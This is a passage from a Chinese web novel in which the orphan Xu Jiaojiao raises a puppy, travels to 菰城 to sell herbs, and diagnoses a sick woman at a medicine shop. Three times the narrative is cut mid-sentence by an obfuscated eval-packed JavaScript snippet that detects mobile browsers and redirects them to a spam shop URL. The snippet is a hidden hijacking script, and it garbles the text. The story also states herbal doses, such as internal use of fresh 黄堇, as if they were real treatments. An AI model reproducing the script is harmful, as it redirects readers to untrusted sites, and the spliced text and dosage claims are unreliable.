许娇娇目送她走远，这才拧眉苦思。想来想去，只知“姬”姓似是先秦王族之姓，其余一概不明。唉，知道了反倒更添困惑。不过静尘最后那番叮嘱，她倒是听进去了——眼下自己势单力薄，确该谨言慎行。 此后天气愈发寒冷。期间李婆子又来过两回。第一回带了吃食、一小罐猪油，还有许娇娇从前的衣裳被褥。她说自己厚着脸皮，去那已被人占去的许家旧屋，将她昔日的衣物讨了回来。 许娇娇自是感激不尽。 李婆子临走时，许娇娇央她寻只小狗作伴。第二回来时，李婆子果真抱来一只小黑狗，才断奶不久，圆滚滚的极是可爱。许娇娇爱不释手，将它搂在怀中。那小狗似也知她心意，乖乖蜷着，喉间发出舒服的呼噜声，逗得她笑逐颜开。 4. 第4章 进城 李婆子去后，许娇娇在屋角用木板给小狗搭了个窝，垫上干草，又将静尘送的旧粗布缝了块垫子铺在下头。小狗起初不愿独睡，夜里哼哼不止。许娇娇本想抱它上床，又恐它身上不洁，天寒地冻的，也不便给它洗浴，只得狠心让它睡在窝里。如此两夜过去，小狗便也惯了，只是白日格外粘人，她走到哪儿，它便跟到哪儿。 有了这小东西相伴，往日孤寂竟消散大半。她每日同它说话，逗它玩耍，连上山采药挖菜也带着它，还给它起了个名儿——旺财。 山中岁月，因着旺财，过得快了许多。转眼冬去春来，万物复苏。枯木抽绿，山花绽蕊，春笋也悄悄探出尖嫩的芽。渐渐地，山道上挖笋的人多了起来，许娇娇不时能遇见三五行人。 小旺财已长大了些，身形渐似狼犬，毛色乌黑油亮，被许娇娇喂养得精神抖擞，每日随她在山中转悠，好不自在。 许娇娇采的药草也积了不少，晒干堆在屋中。只是山里潮气重，春日雨水又多，她恐药材久放受潮，便想央李婆子带她进城一趟。可她不便托附近农人传话，只得静候李婆子再来。 接连几日落雨，许娇娇出不得门，便在屋里拾掇整顿。这里修修，那里补补，原本破败的茅屋竟也焕然一新。 她气力小，做不得重活，手却灵巧。她用藤条编了几个小花篮挂在墙上，里头插着山野采来的鲜卉；床头悬一串竹制的风铃，门边挂一袭竹帘；又用柔韧的稻草编了跪垫、坐垫，以藤条盘成小凳。唯有桌子因需劈开大竹，她无力为之，但吃饭用的竹碗、竹筷、竹筒，皆是她亲手慢慢制成。就连院子里，她也铺出一条石子小径，直通篱笆门，以免雨天泥泞；又在院后开垦出一小块地，种了些菜蔬。 菜种是李婆子应她所求带来的，另有一把铁锄、一柄石铲。许娇娇心中感激——这时代似乎仍颇落后，农具竟尚有石制的。 李婆子见了她屋中的布置，每回都要啧啧称奇，说她年纪虽小，却心思奇巧，不知这小脑袋里怎生想出这许多花样。 许娇娇有苦难言：独居深山，若不找些事做，怕真要闷出病来。 这一日，终将李婆子盼来。许娇娇迎她进屋，问过安好，听她说几句闲话，才提起想进城之事。 李婆子思忖片刻：一晃半年多过去，村里人已不大提起娇杏了。恰巧三日后是三月二十八，大郎他舅要进城卖山货。她本想让大郎舅舅替二郎几个捎些布料裁衣，又听说城里那日有热闹可瞧。这丫头孤苦可怜，带她进城看看也不妨事。 遂道：“乖囡想进城，倒也不是不行。正巧大郎他舅明儿进城卖山货，我原不大想去的，既然你想去，明儿我便带你走一遭。只是明儿需早早起身，乖囡不如今晚随我下山，明日天不亮就动身。” “真的？太好了，阿婆！”许娇娇欢喜得直蹦，随即想起一事，又愁上眉梢，“可……可我采了好些药材，想带到城里去卖。这该如何是好？” “哟！可了不得，乖囡竟还认得草药？”李婆子听了，非但不怪，反露出惊喜了然之色，“是你爹教你的罢？我说你自小不声不响，像个失了魂的，大伙都当你是个木头人，谁想你心里比谁都明白！开窍之后，更是伶俐，不但手巧，竟连草药都识得。好娇杏，真没让你娘失望。” 她略一沉吟，又道：“这般罢，我这就回家，让大郎他舅推车来帮你拉药材。你今夜便随车下山，住我那儿，明儿一早好进城。” 许娇娇喜出望外，拉着李婆子连声道谢。李婆子见她欢喜模样，也眉开眼笑，赶忙转身去喊人了。 次日，天还未亮，疏星仍缀在天边，李婆子的兄弟孙二根已候在门外。许娇娇在李婆子家厨房吃了一碗热粥，便随她出了门。 李婆子娘家姓孙，有两个兄弟，一个姐姐，父母早就亡故，李婆子嫁给落溪村的李家三房后，原先年轻那会儿村民大多叫她李家婶子，如今年岁长了，她的丈夫又走的早，村民便逐渐喊她李婆子、或着李阿婆。孙二根在家排行老二，大家都叫他孙二郎或孙二根。 昨夜从山上运回的药材，被孙二根装进一只硕大的粗麻布袋，搁在独轮车一侧。许娇娇算是开了眼界——这独轮车，她还是头一回见。昨晚孙二根来接她时，她还以为至少该有辆牛车，谁想竟是这般简陋。幸得孙二根思虑周全，带了麻袋，才将她所采药草尽数装下。 此刻见那独轮车，她不免有些歉然：孙二根自家还有两麻袋山笋与野味，若再装她的药草，车上便只容得下山笋了。她本想问为何不用牛车，话到嘴边又咽了回去——想来这时代牛价昂贵，寻常农家未必置办得起，便只静静立在旁看孙二根装车。 孙二根将两袋山笋捆扎妥当，又把野味串起挂在车把两侧。许娇娇瞥见边上另有一辆独轮车，由一少年推着。那少年约莫十几岁，天色尚暗，瞧不清面容，只见他身着时下农人常穿的短褐，腰束布带，阔腿裤的裤脚在脚踝处紧紧扎起，显得利落精神。头发束成单髻，余发披在脑后，正是未及弱冠的年纪。 少年见她们出来，朝李婆子唤了声“阿姑”。李婆子笑应了，问道：“三郎也同去？金桂的腿可好些了？”前一句问少年，后一句却是问孙二根。 “是啊阿姑，我随阿爹进城看看大哥，阿娘心里惦记着呢！”少年答道，嗓音有些沙哑，正处在变声的年纪。 “我阿娘这几日还好，只是阴雨天便疼得厉害些，劳阿姑挂心了。”孙二根还未开口，少年已抢先答了李婆子的问话。 听这番对答，许娇娇心下明了：这少年是李婆子的侄儿，名唤三郎；那“金桂”该是孙二根的妻室，似是腿脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222015|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有疾，莫非是风湿之症？ 她正思量间，忽觉身子一轻——孙二根竟将她一把抱了起来。许娇娇猝不及防，险些惊叫出声，忙咬住下唇将呼声咽了回去。幸而天色昏黑，无人察觉。 孙二根将她安放在独轮车另一侧，对李婆子道：“娇杏坐我这车罢。阿姐便让三郎推你。”又转向少年叮嘱：“三郎仔细脚下，你阿姑年岁大了，可经不得颠簸。” “是阿爹，我晓得的。”少年一边应着，一边扶李婆子稳稳坐上车。 李婆子笑着拍了拍少年的肩：“一转眼三郎也这般大了，该说媳妇了。前儿东村还有人打听你呢！” “阿姑……”少年声音里透出几分腼腆。 李婆子笑了起来。 道路崎岖难行，难怪要用独轮车，行了一段，话题又转到金桂身上。 “唉，金桂年纪轻轻便落下这病，往后可怎生是好？”李婆子长叹一声，“如今也不知哪儿有好大夫，若能寻着，开几副药吃吃或能见效。听说大郎做工的那位吴大官人是个积善之家，每年冬日还布施穷苦，心肠甚好。二郎这回去见着你大哥，好生问问，能否求吴大官人引荐位良医，给你娘瞧瞧？” “阿姐，莫为难大郎了。”孙二根闻言，推车的手顿了顿，又将颈间的纤绳往下松了松，车子明显快了几分，“吴大官人那样的人家，岂是咱们高攀得起的？没得让孩子作难。这回我打算去瓦子寻那位张大夫，听闻他岐黄之术甚是精湛，只是出诊价昂。若能求他开几副药，或许桂娘便能好转。” 听孙二根婉拒了李婆子的提议，许娇娇暗想：这孙二根是个老实人，话语间透着淳朴与慈爱。 “好是好，”李婆子接话道，“张大夫的诊金确是不菲。出一次诊，少说也要几百文钱，若再开药，只怕一两银子也打不住。” 独轮车在崎岖山路上咯吱前行。许娇娇听着他们姐弟二人的闲谈，从只言片语中推断，这时代风貌颇类唐宋，大官人亦是那时对有身份男子的尊称。 她安然坐在车侧，随车身轻轻摇晃。耳边是两人有一搭没一搭的家常话，眼里是渐淡的星子与缓缓亮起的天光。待东方浮起鱼肚白时，车子已驶上官道。路上行人渐密，多是推独轮车的农人，亦有赶牛车的、驱骡队驮货的商贾，还有乘轿的贵人。偶有鲜衣怒马的男女策骑掠过，扬起一阵烟尘，倏忽远去。许娇娇望着那飞扬的背影，心下不由泛起一丝羡慕。 车子在官道走了许久，久到许娇娇以为快要到了，没想到孙二根忽然将车子拐上了一条石子路，又走了盏茶功夫，人流多了起来，许娇娇环顾四周，沿着路两边有了许些店铺，卖吃食的、卖杂货的、卖布料的、打铁的等等，再往前走，一股河水腥气味扑面而来，只见一条波光粼粼的河呈现在眼前，竟是个码头。 5. 第5章 贵人 独轮车上了一条青石条砌就的路，原先的颠簸减轻了许多，孙二根将独轮车停在一艘渡轮前，热情地和船夫们打着招呼，船夫们有的肩膀上搭着一个汗巾子，有的则光着个膀子，有两个年纪小的伙计扶着跳板。 “娇杏，坐稳了。”孙二根对娇杏说了句，然后顺着跳板将独轮车推上了船，许娇娇吓了一跳。不过孙二根推着车子十分稳当，他将车停稳，嘱咐许娇娇坐好。转身又帮着三郎将李婆子坐的车子推了上来。 “……我也许久没上集市，这一晃快一年了，”李婆子感慨地和一位看起来四十来岁的中年男子说话，“你这生意如今看着比往年要好。”她还坐在独轮车上，一边捶着腿，一边笑着和那人寒暄。听话音中年男子似乎是船老大。 “凑合。”船老大也笑了，黝黑的脸上泛出一丝红光，“也就能混口饭吃。” 看起来孙二根他们姐弟和船老大十分熟念。孙二根不善言辞，他上来后就从怀中掏出十几枚铜钱交给船夫会了账。就蹲在独轮车前听着李婆子和中年男子闲聊。许娇娇边听他们说话，边四下观看。 船上已经有了不少和他们一样推着独轮车的人，对他们的上船似乎司空见惯，只是看了一眼便各自闲聊，等着开船。 船夫们将独轮车归置在一处，李婆子在三郎的搀扶下下了独轮车，用手捶着腰嘴里念叨着年纪大了，坐久了腰酸背痛的。 “乖囡要不要下来走动走动，总坐着也不得劲。”李婆子又转头问她。 许娇娇其实也想下去的，只是没好意思说。 见问，忙点点头。 孙二根就上前将她抱了下来。许娇娇已经习以为常了。她下了独轮车走动了两步，便站在船边的栏杆处向远处张望。 李婆子又紧着提醒她注意不要掉下去的话。她一边点头一边望向另外一边。 只见视线极处是一个很大的码头，有大大小小的船只挨挨挤挤，桅杆林立。最近处是几艘乌篷船，船身黝黑，篷顶的竹篾席泛着经年的灰白，船娘正蹲在船头，就着河水淘洗一把菜蔬。 在河水深处，吃水颇深的漕船笨重地靠着木制栈桥，赤裸上身的脚夫正喊着号子，沿着颤巍巍的跳板，将一袋袋粮米或一卷卷布匹扛上扛下。汗水顺着他们古铜色的脊沟淌下，滴落在潮湿的木板上，瞬间没了踪迹。 竟然是一处漕运码头？许娇娇诧异，这里似乎还没到菰城。不过应该距离不远了。 阳光洒在水面上，渡船开始顺流而下，船行过处的水面上。那些金色的光斑被打散，又聚合，匆匆向后退去。这河水，载着满船人的生计，许娇娇看着两岸倒退的绿树人家，渐渐累了，今日和风舒畅，她有些昏昏欲睡。 “到了。” 不知谁喊了一声。船舱顿时沸腾了，各人拿着各自的物件，闹哄哄的挤到船头，船老大大声呵斥：“都小心些，别挤了，掉下去没人会捞。” 日头升高时，一行人终抵菰城门外。 许娇娇打起精神举目望去，但见城门楼巍峨高耸，灰墙厚重恢弘。门额上两个斗大篆字——“菰城”。城楼之上，守城兵卒持戈肃立，一派森严气象。 “前头过了护城河便进城了。阿姐可乏了？”孙二根随着人流缓步前行，侧首问李婆子。 “你们推车的都不言乏，我坐车的怎敢说乏？”李婆子笑嗔一句，又感慨道，“三郎真是长大了，这一路推着我这老婆子，稳稳当当的。老话说‘好男儿不吃十年闲饭’，果然多生几个儿郎才是正理。” “阿姐说得是。”孙二根深以为然，顺着话头道，“张万生家的浑家再过几日怕要生了，听大夫说，八成又是个儿郎。她这一胎如平安落生，那便是第十一个，他家大郎媳妇上月才得了个儿子，这十一叔还没落地，侄儿到先面世了。” “可不是！那张万生前世不知积了多少德，这辈子儿女双全，人丁兴旺。”李婆子说得兴起，又转问孙二根，“说来四囡都八岁了，金桂身子也无大碍，怎的这些年来再没动静？” 孙二根低咳一声：“阿姐又不是不知，这事哪是想要便有的？她也吃了不少补药偏方，这些年却一直没信儿，怕是不会再有了。” 李婆子听了，轻叹一声，不再多言。 许娇娇在一旁暗暗咋舌：古人可真能生养！听这意思，孙二根已有四个孩子，竟还觉不足？ 说话间，队伍又向前挪了几步。许娇娇探身望去，只见前方人头攒动，车马簇拥，城门口聚了许多百姓，却不见有人进城。她正纳闷，忽听旁边两人低声碎语： “……嘿，开国侯府上这排场，真够瞧的！瞧这阵仗，没半个时辰怕是进不了城喽。” “贵妃娘娘的外家，那排场能小了去？听说是府上老太君做寿，宫里特地赏了东西下来，侯爷亲自出城迎呢，闲杂人等都清道了。” “啧，吴大头，这话我可真不吹牛——那侯府里的小娘子，是真真的神仙人物！” “孙四儿，你又做白日梦了！侯府里的金贵娘子，是你这卖炊饼的能见着的？癞蛤蟆打哈欠，好大的口气！” “嘿！你还别不信！我真真儿瞧见了，就在得意斋门前——得意斋你知道吧？咱菰城头一号的酒楼！嚯，要是这辈子能在得意斋吃上一顿，点上几个拿手菜：东坡肉、赛蟹羹，再烫一壶绍兴老花雕……乖乖，立时死了都值！” “谁问你这个了？尽扯吃的！我是问你真瞧见了？” “那还能有假？从一辆明晃晃打着侯府徽记的马车上下来。先下来一位小娘子，穿着葱绿衫子、白绫裙，裙上绣着细细的花儿，那腰身束得……啧，系着条水粉的绦带，发间插着金簪步摇——那张小脸，白得跟刚剥壳的鸡蛋似的，嘴唇一点朱红，走起路来，那真是风吹柳枝，袅袅婷婷。翠玉楼的头牌在她跟前，怕也只算得上个烧火的丫头！” “后头又下来两位，虽戴着帷帽，纱帘遮着脸，可那身段气度……啧啧，梦里都不敢这么想！” “咄！你个猢狲儿，还不醒醒！前头那位分明是个丫鬟，侯府娘子岂会抛头露面？后头戴帷帽的才是真佛！你也不掂量掂量，那是贵妃娘娘的外家，天也似的门第，是你这双招子能乱瞧的？真真儿是癞蛤蟆梦日头！” “我怎不省得？可你想想，哪有丫鬟生得比小娘子还齐整？丫鬟都这般，那小娘子还不得是天仙化人？” “咦？倒也有理……真个那般好？” “谁哄你谁是驴！” “快闭了你那鸟嘴！贵人也敢嚼舌？仔细祸从口出，衙门的杀威棒可不认得你！” 二人正说得口沫横飞，旁边忽横插进一道泼辣的女声。紧接着便听那孙四儿哎哟一声，气虚地嚷：“松、松手……耳朵要掉了！你这恶婆娘！我、我找耆老做主去！” 四周顿时爆起一阵哄笑。 娇娇不禁莞尔——古人八卦起来，倒与今人无异。只是这时代等级森严，平民妄议贵族，确易招祸。听那二人所言，开国侯府上有位贵妃外甥女。贵妃……那可是皇帝身边的人物，遥不可及。从前只在戏文里听过，不想此生竟能身临这般世道，想想也觉玄妙。 众人又候了约一盏茶的工夫，前方队伍终于缓缓流动——想来贵人仪仗已过，城门复开。 “乖囡，咱们这就进城了。”李婆子从前头扭过身来，“瞧见城门上那俩大字没？村里的赵秀才说过，那便是‘菰城’二字。赵秀才是咱们村唯一的读书人，学问好着哩！唉……”说到这里，她忽地叹了口气，转回头似自言自语般低喃，“我娘家祖上原也是耕读传家，出过秀才的，可如今……” “阿姐，”孙二根打断她的话， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222016|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “陈年旧事提它作甚？快进城了，你坐稳当。三郎，仔细脚下！”后一句是对那少年说的。 李婆子被打断了话头，也不恼，只咂咂嘴，又转向许娇娇叮嘱道：“娇杏儿，今儿人多，城门口还排着队。进了城到了地儿，你可不能乱跑，要紧跟着我，当心被歹人用药迷了去！”她板起脸，肃然道，“乖囡生得跟个白胖胖的水萝卜似的，若被歹人拐去卖了，那可了不得！” “知道啦，阿婆。”许娇娇面上微窘——自己哪有那么胖？分明是瘦伶伶的水萝卜嘛！不过她也知李婆子并非危言耸听，这人生地不熟之处，自己又是个孩童，确该万分小心。过了护城河，一行人进了城，沿着青石板铺就的官道缓缓前行。路旁是成片的青瓦白墙房舍，沿街小贩的吆喝声此起彼伏，各式货摊琳琅满目。许娇娇只觉自己仿佛一步踏入了《清明上河图》的画卷，周遭人物鲜活，市井气息扑面而来。 途中，许娇娇与李婆子下了独轮车。孙二根的儿子三郎背着一个鼓鼓囊囊的褡裢，推着车先行离开去看他兄长了。许娇娇便跟着李婆子、孙二根往东门瓦子的集市走去。 沿着青石板路缓缓东行，越往前走，声浪便愈发鼎沸。待转过一个街口，眼前骤然开阔——东门瓦子到了。 此处每逢集市，便如一口煮沸的巨锅，蒸腾着整个城市的烟火气。只见各色布棚、席摊密密匝匝，几乎看不见地面，卖时新果蔬的、贩南北杂货的、售竹木器具的……摊主们的吆喝与买主的讨价还价声混作一团，声浪直冲耳膜。空气中飘散着熟食的油气、瓜果的清香、药材的苦味，还隐约混杂着牲口的气味，种种气息交织，形成一种独属于集市的、生机勃勃的复杂味道。 瓦子深处，几座用竹木席棚搭起的勾栏格外醒目，里头隐约传来说书人的醒木声、杂耍艺人的喝彩，引得人群一阵阵往里涌。更有那卖膏药的、耍猴戏的、算命卜卦的，各自圈出一块地，便是舞台，围观者里三层外三层，喝彩声、惊呼声此起彼伏。 人流如织，摩肩接踵。挑着担的货郎吆喝着借过，灵活地在人缝中穿梭；身着绸衫的商贾与短褐的百姓挤在一处问价；甚至有孩童举着糖人，嬉笑着从许娇娇身边跑过。她只觉目眩神迷，仿佛一滴水汇入了沸腾的海洋，每一步踏出去，都踩在实实在在的、滚烫的生活脉搏上。 孙二根熟门熟路，领着她们在喧嚣中穿行，最终在一处靠近路口、人流不息却又不算最拥挤的地方停下，利落地铺开草席，摆开山货。他拍了拍手，对李婆子道：“阿姐，你先在此照看着摊子，我带娇杏去西头张记生药铺瞧瞧。”说着他从怀中掏出十文钱递给李婆子，“若是有闲汉来问抽成，就说还没有生意，若是来人不依，就给他三五文，多的没有。” 李婆子点头，又叹息：“哎。这一路行来，真真是难，车船费、入城费、官地钱、闲汉抽成，这山货还没卖出，到先掏了不少钱与人。” “可不是，”旁边一人听了李婆子的话，也发出感叹：“如今这世道，处处要钱，一分钱难倒英雄汉呐！” “这位老哥，你这是卖的甚？”李婆子见有人搭腔，便和那人热切聊了起来。 孙二根趁着他们说话的间隙插话：“阿姐，你照看着，我先和娇杏去了。记得年头里，孙三郎在山上挖着老大一株何首乌，就是被那家铺子收去的，得了五贯钱哩！昨晚我帮娇杏搬药草时，瞧见里头有好几样不常见的草药。这丫头年纪虽小，从前又不言语，心里头却明白得很。许大郎原就是位难得的好大夫，娇杏能有这天分，也算是承了衣钵。” 李婆子点头称是，又催促他们：“仔细着点，人多，照看好娇杏，”又细细叮嘱了许娇娇几句。 许娇娇正思量着如何寻药铺，不想孙二根这般周到，连忙向李婆子道了谢，跟着扛起药袋的孙二根往西行去。 6. 第6章 张记生药铺 张记生药铺门宽阔，三开间的铺面。一进门，便有伙计迎上来，热络问道：“客官是瞧病还是抓药？瞧病右边请，抓药前边柜台。” 孙二根将肩上麻袋卸下搁在一旁，朝伙计行了一礼：“劳烦小哥，小人是落溪村来的，这儿有些草药，不知贵店可收？” 那伙计听了，上下打量二人几眼，语气明显怠慢了几分：“收自然是收的，不过得让咱们东家过过眼。” 说着上前掀开麻袋，一边翻拣里头的草药，一边讶然道：“哟！还真不少！黄精、石斛……这是……断肠草？断肠草可有剧毒！这也能拿来卖？”话音未落，他声音已变了调，吓得将手中草药一扔，连退几步。 孙二根上前一步，满脸困惑：“不能罢？这草药是我亲眼看着装的，您说的那不是野水芹么？咱们庄户人家常用它治毒虫咬伤，捣烂敷在伤处，灵验得很。” 许娇娇忙点头附和，又走上前，从麻袋中拣出那株被唤作“断肠草”的草药，举到伙计眼前，脆生生笑道：“孙大叔说得不错，这草药名目甚多，‘断肠草’只是其一，另有个名字叫黄堇。它非但能治毒虫叮咬，还可疗多种疾患。譬如治疮毒肿痛：取鲜黄堇全草五钱，煎汤内服，再以鲜叶捣汁外敷患处。再如治肺病咳血：取鲜黄堇全草一至二两，捣烂取汁服下……” 那伙计一愣，皱眉打量许娇娇：“你一个小娃娃，懂得什么！” 许娇娇见他不信，反有轻视之意，知他嫌自己年幼，便转向孙二根道：“孙大叔，咱们还是等东家出来问问罢。”又扭头对那伙计道：“烦请东家出来瞧瞧，我所说是否属实。” 伙计瞪她一眼：“东家正在会客，你们候着罢！” “多谢小哥告知，我们在此等等便是。”孙二根是个实诚人，听伙计说那是断肠草，心中也打起鼓来。这野水芹确不可食用，误食非死即伤，但疗治毒虫咬伤却是庄户人熟知的。他见娇杏采了不少，心想不论能否卖钱，带上总无坏处，或能被东家看上。不想被伙计几句话说得忐忑不安，却不忍让许娇娇失望，暗忖：待见了东家，若此药当真无用，还有其他几样可询。 二人被伙计引至一旁等候。 许娇娇四下打量，见药铺内里颇深。右边靠墙设一桌两椅，桌上置有脉枕、针砭并几卷医书。地上搁着一具铁药碾，那伙计此时正弯身忙活。正无聊间，忽听门外传来一阵喧哗，夹杂着急促的脚步声——药铺门口蓦地涌进一群人来。 为首的是个黑脸大汉，身高七尺有余，体壮如塔，往门口一站，竟将铺内光线遮去大半。只见他肩扛一根碗口粗的木棒，“咚”一声杵在地上，声如洪钟喝道：“张家匹夫何在？速速出来受死！” 这一声好比惊雷炸响，惊得许娇娇险些从凳上跌下。她抚了抚心口，定睛望去，但见门口已立着七八条彪形大汉，将原本宽敞的药铺挤得满满当当。先前招呼孙二根的那伙计一见来人，脸色骤变，悄然后退至百眼柜后，一闪身溜去后院寻人了。 黑脸大汉环顾四周，未见要找之人，却瞥见孙二根与许娇娇，铜铃般的眼睛一瞪，声震屋瓦：“张家匹夫呢？你是何人？”他见许娇娇不过是个孩童，目光掠过她，直盯着孙二根。 孙二根神色略显紧张，从凳上起身，声音微颤却仍镇定：“小人是来寻博士卖草药的。” 大汉见是与药铺无干之人，便道：“今日此店不做生意，你们速速离去，免得一会儿伤及无辜。” “什么？”许娇娇心头一紧——好不容易采来的药材，还指望卖了贴补生计呢！哪能说不收便不收？ 孙二根也觉可惜，但见这阵势，带着娇杏确不安全。这些壮汉稍有不慎，恐生事端。罢了，下个集日再来试试。便对许娇娇道：“娇杏，咱们回罢。下回集日我再带你来。” “鲁大当家息怒！”二人说话间，百眼柜后响起一道急切的声音。随声走出一位三十余岁、蓄着短须的先生。 “大当家息怒，有话好说，有话好说。请先入内用杯茶，消消气。” “呸！”黑脸大汉见来人，双目瞪得更圆，一张黑脸涨得发红，啐道，“谁耐烦吃你的鸟茶！你们这些庸医，老子的娘吃了你们开的药，这几日眼看不行了！你们这些庸医，还我娘命来！” “鲁大当家息怒。不知令堂如今是何证候？在下记得，老太太是风寒痹症所致肢体关节疼痛、畏寒。风寒之邪侵入体内，滞留经脉关节，致使气血不畅，方有疼痛畏寒之症。老朽所开乃疏风散寒、活血通络、祛除风湿的方子。纵不能令老太太痊愈，也该有所缓解，断不会加重病情。还请大当家明察。” “休得狡辩！管你开的什么方子，我娘就是吃了你们的药才加重的！” “分明是你们医术不精！” “就是，狗屁的医术！” “砸了他这医馆，看他安敢害人！” 黑脸大汉身后几人七嘴八舌鼓噪起来。这片刻功夫，门外已围了一圈看热闹的人，个个伸颈探头，指指点点。短须先生脸色一沉，却仍强笑着试图辩明原委。 许娇娇趁他们争执，从门缝中悄然溜出。一抬眼，便见右侧停着一辆牛车，拉车的老黄牛正闲适地甩动缰绳。车上青花棉被微微隆起，似躺着个人。 她上前轻轻掀起被角一瞧——果如所料，鲁大当家将老母亲带来了。老妇人约莫六十上下，花白头发凌乱地贴在枕上，棉被蒙住大半张脸。车旁空无一人，想是全进铺里助威去了。 许娇娇环顾四周，见无人留意，便迅速执起老妇人的手腕诊脉。片刻后，又查看她双手，端详面容，再轻按双腿——因牛车颇高，她费力踏上车轴，勉力做了番检视。一旁看热闹的人瞧见，只当是老人孙女，并未在意。 待她想察看舌苔时，老妇人双目紧闭，她便凑近嗅了嗅气息，心中已有计较。刚舒一口气，却见老妇人缓缓睁开眼，目光涣散，唇间喃喃。许娇娇侧耳细听，依稀辨出是在唤：“狗儿……狗儿……” 她替老妇人掖好被角，略一思忖，挤到门口，从门缝里扬声喊道：“狗儿！谁叫狗儿？老人家醒了，正唤人呢！”一道清亮悦耳的童音响起。 霎时间，铺内喧哗戛然而止。 鲁大当家猛地转身，急奔而出：“阿娘！阿娘！儿在此！您老怎么样？可是要吃茶？” 许娇娇暗暗松了口气。 她见孙二根正四下张望，忙上前道：“孙大叔，你在寻我么？” 孙二根见她，明显松了口气：“娇杏，你去了何处？万万不可乱跑，若走丢了可怎生了的！” “孙大叔，我没事，方才我去瞧了瞧鲁大当家的老娘，就在门口，她不妨事，只要换一味药吃，过两日便能好转。” “可不能乱说！张大夫都治不好的病，娇杏，莫要妄言。” “真的，孙大叔。我见过我爹曾治过和那位老妇人一样的病人，比这老妇人还重些，三四日便见起色了。” “你这小儿，休要信口雌黄！她的病岂是三四日便能好转的？”那伙计原本站在短须先生身后，此时出声斥问，语气不善。 “我没说痊愈，我说有起色！”许娇娇提高嗓音反驳。她仗着现下是孩童模样，也不怕人笑她不懂事。这伙计着实讨厌，分明一知半解，偏要逞强。 她声音清亮稚嫩，又特意扬声，铺内众人皆听得清清楚楚。 许娇娇瞪了那伙计一眼：“我没有胡说。鲁大当家的老娘就在门外，我刚瞧过了，她的病症与我爹曾治过的一模一样。” 哦？”短须先生这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222017|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才注意到站在一旁的许娇娇。见是个七八岁的小女娃，头戴尼帽，身穿半旧袄子，虽是农家打扮，却生的着实好看，一双眼睛清亮亮的，瞧着很是伶俐。只是这般年纪，能懂什么医术？怕是跟着父亲耳濡目染，记得几句药名罢了。 他温声问道：“小娘子，你父亲当真治过这样的病？” 许娇娇垂下眼帘，做出一副努力回想的模样，细声细气地说：“我记得，有一年冬天，有位阿翁腿疼得下不了床，手指头肿得像萝卜。我阿爹给他瞧过……说是寒湿入了筋骨。” 她刻意说得含糊，只提寒湿这个最浅显的判断。怕说的太明白，反而引人怀疑。 “那你父亲都用了什么药？”短须先生追问。 许娇娇摇摇头，声音更小了：“我那时还小，就记得……记得阿爹说过不能只散寒。 那短须先生听到不能只散寒，心中陡然一震。这几日他正为此辗转反侧，隐隐感觉老太太面色暗红、呼吸声粗重，与他方中偏于温燥之药相冲，却又不敢骤改前法。此刻被一个孩子点破，他强自镇定，追问道：“小娘子，你……你还记得你父亲可说过，若不止散寒，当如何？ 铺内喧哗不知何时静了下来，连鲁大都屏住了呼吸，目光灼灼地盯着许娇娇。 许娇娇感受到众人视线，手心微微冒汗，但心底那点对药理的笃定却压过了紧张。她抬起头，目光清澈，不再闪躲：“我阿爹……还说过，痹症不解，要内外分看。” “内外分看？”短须先生眉头紧蹙，咀嚼着这四个字。 “嗯。”许娇娇点头，声音虽稚嫩，却条理清晰起来，“就是外头还是怕冷、关节疼，那是寒湿还在皮肉筋骨；可身体里头，也许已经……已经有了郁热。像、像……”她装出一副似乎在努力回想父亲说话的样子，“像捂严实的炭盆，外头摸着不热，里头火星子已经烧起来了。所以光往盆外头加柴不行，得……得把里头的火气透出来，再添新柴。” 她这番用炭盆比喻外寒内热的话一出，满堂皆惊。这绝非一个七八岁女娃能凭空编造的道理！ 短须先生脸上血色褪尽，又骤然涨红。他猛地想起自己诊脉时，指下那被沉紧脉象掩盖的一丝不易察觉的滑数，又忆起老妇人虽喊冷，手心却微有潮热——这不正是炭盆之象？他先前竟完全忽略了这些细微之兆！ 鲁大虽听不大懂，但见这短须郎君神色剧变，便知这女娃所言绝非儿戏。他急问道：“你这女娃，那你说，该怎么治？！” “娇杏，不可妄言。”孙二根忙打断鲁大的话，一脸焦急与担忧。又转头抱拳对着鲁大陪笑：“这位老兄，她一个小娘子家家，只是跟着她爹学过几日，作不得数，你还是让张博士诊治为好。我们这就告辞。”说完扛起麻袋，拉着娇杏就要往外走。 “站住。”鲁大一声大喝：“拦住他们，让这女娃把话说清楚。” 许娇娇抿了抿唇，挣脱了被孙二根拉着的手臂，给孙二根使了个眼色，小声道：“孙大叔，放心，我无事。” 